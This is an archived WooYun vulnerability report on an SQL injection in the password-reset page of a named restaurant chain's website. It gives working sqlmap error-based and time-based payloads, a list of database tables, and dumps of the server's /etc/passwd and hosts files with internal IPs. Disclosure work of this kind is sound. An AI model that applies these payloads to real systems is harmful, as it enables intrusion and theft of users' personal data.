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缺陷编号:wooyun-2016-0194202

漏洞标题:呷哺呷哺WWW主站SQL注入(root权限可读取系统文件\5000+注册用户信息)

相关厂商:呷哺呷哺

漏洞作者: 路人甲

提交时间:2016-04-09 11:42

修复时间:2016-05-24 11:50

公开时间:2016-05-24 11:50

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2016-04-09: 积极联系厂商并且等待厂商认领中,细节不对外公开
2016-05-24: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

呷哺呷哺WWW主站SQL注入(root权限可读取系统文件\5000+注册用户信息)

详细说明:

http://www.xiabu.com/?c=forgot


找回密码处,后续的步骤存在SQL注入,并且可以直接将验证码发送到攻击者邮箱

1.png


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3.png


在新的密码框位置存在注入

4.png


5.png

漏洞证明:

6.png


Parameter: Password (POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: [email protected]&Password=1qaz2wsx AND (SELECT 8852 FROM(SELECT COUNT(*),CONCAT(0x7162767a71,(SELECT (ELT(8852=8852,1))),0x7178717a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- vGLe&submit=%E4%B8%8B%E4%B8%80%E6%AD%A5
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: [email protected]&Password=1qaz2wsx AND (SELECT * FROM (SELECT(SLEEP(5)))VVpc)-- kCHu&submit=%E4%B8%8B%E4%B8%80%E6%AD%A5
---
web server operating system: Windows NT 4.0 or 7
web application technology: PHP 5.4.27, Apache 2.2.27
back-end DBMS: MySQL 5.0
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
[*] xiabu


Database: xiabu
+-----------------+---------+
| Table | Entries |
+-----------------+---------+
| web_reg | 5597 |注册用户
| web_message | 958 |
| web_dianpu | 493 |
| en_dianpu | 428 |
| web_show | 178 |
| web_dianpu_type | 98 |
| en_dianpu_type | 74 |
| web_news | 56 |
| en_show | 40 |
| web_jobs_type | 30 |
| web_jobs | 22 |
| en_jobs_type | 18 |
| en_ads | 17 |
| en_diaocha | 16 |
| web_diaocha | 16 |
| en_about | 15 |
| en_news | 14 |
| en_show_type | 14 |
| web_about | 13 |
| web_show_type | 13 |
| web_ygfc | 11 |
| en_reg | 8 |
| en_wenda | 8 |
| web_wenda | 8 |
| en_jobs | 7 |
| en_links | 7 |
| web_ads | 7 |
| web_links | 7 |
| en_admin | 6 |
| en_news_type | 6 |
| web_admin | 6 |
| web_news_type | 6 |
| en_ygfc | 5 |
| en_ads_type | 4 |
| web_slide | 4 |
| en_message | 3 |
| en_slide | 2 |
| web_ads_type | 2 |
| en_base | 1 |
| en_setting | 1 |
| en_ygfc_type | 1 |
| web_base | 1 |
| web_setting | 1 |
| web_ygfc_type | 1 |
+-----------------+---------+


部分用户信息,手机号,邮箱等

7.png


注入点root权限,可以直接读取系统文件

8.png


root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
saslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
www:x:500:500::/alidata/www:/sbin/nologin
mysql:x:501:501::/home/mysql:/sbin/nologin


hosts文件

127.0.0.1 localhost
::1 localhost localhost.localdomain localhost6 localhost6.localdomain6
10.144.46.176 AY14061214481586734fZ
10.163.253.61 iZ2817lk55sZ

修复方案:

过滤敏感字符

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:15 (WooYun评价)